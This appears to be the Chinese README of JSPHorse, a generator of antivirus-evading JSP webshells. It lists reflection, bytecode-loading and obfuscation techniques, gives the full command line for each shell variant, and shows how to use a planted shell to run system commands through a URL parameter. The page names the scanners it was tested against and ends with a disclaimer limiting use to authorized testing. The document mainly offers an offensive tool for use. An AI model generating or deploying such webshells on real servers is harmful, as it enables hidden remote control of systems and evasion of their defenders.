工具仅用于安全研究以及内部自查,禁止使用工具发起非法攻击,造成的后果使用者负责
一个JSP免杀Webshell生成器,主要支持普通回显Webshell,也实现了蚁剑的免杀
生成代码技术基于AST库JavaParser
和字节码操作框架ASM
具体的原理参考先知社区文章:https://xz.aliyun.com/t/10507
へ /|
/\7 ∠_/
/ │ / /
│ Z _,< / /`ヽ
│ ヽ / 〉
Y ` / /
?● ? ● ??〈 /
() へ | \〈
>? ?_ ィ │ //
/ へ / ?<| \\
ヽ_? (_/ │//
7 |/
>―r ̄ ̄~∠--|
主要的免杀技术:
- 基本的Java反射调用免杀
- BCEL格式字节码反射加载免杀
- ScriptEngine调用JS免杀
- Javac动态编译class免杀
- java.beans.Expression免杀
- 自定义ClassLoader加载字节码免杀
- native方法defineClass0加载字节码免杀
- ASM直接构造字节码(普通和BCEL)并加载执行免杀
代码生成方式:
- 双重随机异或运算加密数字常量
- 凯撒密码随机偏移并结合Base64双重加密字符串常量
- 使用控制流平坦化并随机生成分发器
- 所有标识符全部替换为随机字符串
- 支持全局Unicode编码
- 每次执行都会生成完全不同的马(结构相同内容不同)
简单测试了免杀效果:
名称 | 测试结果 |
---|---|
百度WEBDIR+ | |
河马SHELLPUB | |
Windows Defender |
在Github右侧Release页面下载
- 生成标准形式基础Webshell
java -jar JSPHorse.jar -p your_password
- 生成蚁剑的免杀Webshell
java -jar JSPHorse.jar -p your_password --ant
- 生成Javac动态编译class的Webshell
java -jar JSPHorse.jar -p your_password --javac
- 使用ScriptEngine调用JS免杀
java -jar JSPHorse.jar -p your_password --js
- 使用Expression免杀
java -jar JSPHorse.jar -p your_password --expr
- 使用自定义ClassLoader加载字节码
java -jar JSPHorse.jar -p your_password --classloader
- 用ASM动态生成字节码使用自定义ClassLoader加载
java -jar JSPHorse.jar -p your_password --classloader-asm
- 加载BCEL字节码免杀(动态构造字节码)
java -jar JSPHorse.jar -p your_password --bcel
- 用ASM动态生成BCEL字节码免杀
java -jar JSPHorse.jar -p your_password --bcel-asm
- 使用Proxy类的native方法
defineClass0
加载字节码
注意:原理是在JVM中注册类,不允许重复,所以这种马只能执行一次命令然后失效
但JSPHorse
从字节码层面构造了不同的类,如果想要多次执行只要重复生成多个马即可
java -jar JSPHorse.jar -p your_password --proxy
- 使用
defineClass0
加载ASM直接构造的字节码
注意:原理同上,只能执行一次
但JSPHorse
每次生成的类名不一致,可以重新生成来做多次执行
java -jar JSPHorse.jar -p your_password --proxy-asm
- 任何一种方式加入
-u
参数进行Unicode编码(有时候有奇效)
java -jar JSPHorse.jar -p your_password --expr -u
- 使用
-o
指定输出文件,默认输出到result.jsp
java -jar JSPHorse.jar -p your_password -o 1.jsp
- 如何使用
-
普通情况:
1.jsp?pwd=your_password&cmd=ipconfig
-
蚁剑:正常使用
从混淆程度来看,最高的应该是以下几种,也许会有较高的免杀效果
- ASM动态生成BCEL字节码并加载:
--bcel-asm -u
- 使用ScriptEngine加载JS:
--js -u
- 使用Javac动态编译:
--javac -u
后续计划:
- 参考网上已有的免杀Webshell思路以及各种新姿势逐渐完善
- 目前在从代码方面混淆,是否可以尝试从字节码层面混淆以实现免杀
- 是否可以多种免杀手段随机组合,生成再进一步的免杀Webshell
参考三梦师傅的Webshell:https://github.com/threedr3am/JSP-Webshells
参考天下大木头师傅的Webshell:https://github.com/KpLi0rn/Shell
参考su18师傅的defineClass0
方式:https://github.com/su18
未经授权许可使用JSPHorse
攻击目标是非法的
本程序应仅用于授权的安全测试与研究目的